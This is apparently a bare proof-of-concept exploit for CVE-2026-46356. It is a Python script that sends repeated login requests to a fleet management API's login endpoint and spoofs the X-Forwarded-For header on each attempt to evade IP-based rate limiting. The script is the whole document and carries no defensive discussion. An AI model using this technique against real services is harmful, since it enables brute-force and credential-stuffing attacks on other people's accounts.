CVE-2026-46356

import requests # Target URL url = "https://target-fleet-instance.com/api/v1/login" # Iterate through requests spoofing different IPs for i in range(10): # Spoof X-Forwarded-For header to bypass rate limiting headers = { "User-Agent": "Mozilla/5.0", "X-Forwarded-For": f"1.2.3.{i}" } # Attempt login (example payload) data = { "email": "[email protected]", "password": "password123" } try: response = requests.post(url, headers=headers, json=data, timeout=5) print(f"Attempt {i}: Status Code {response.status_code}, IP: 1.2.3.{i}") except Exception as e: print(f"Error: {e}")

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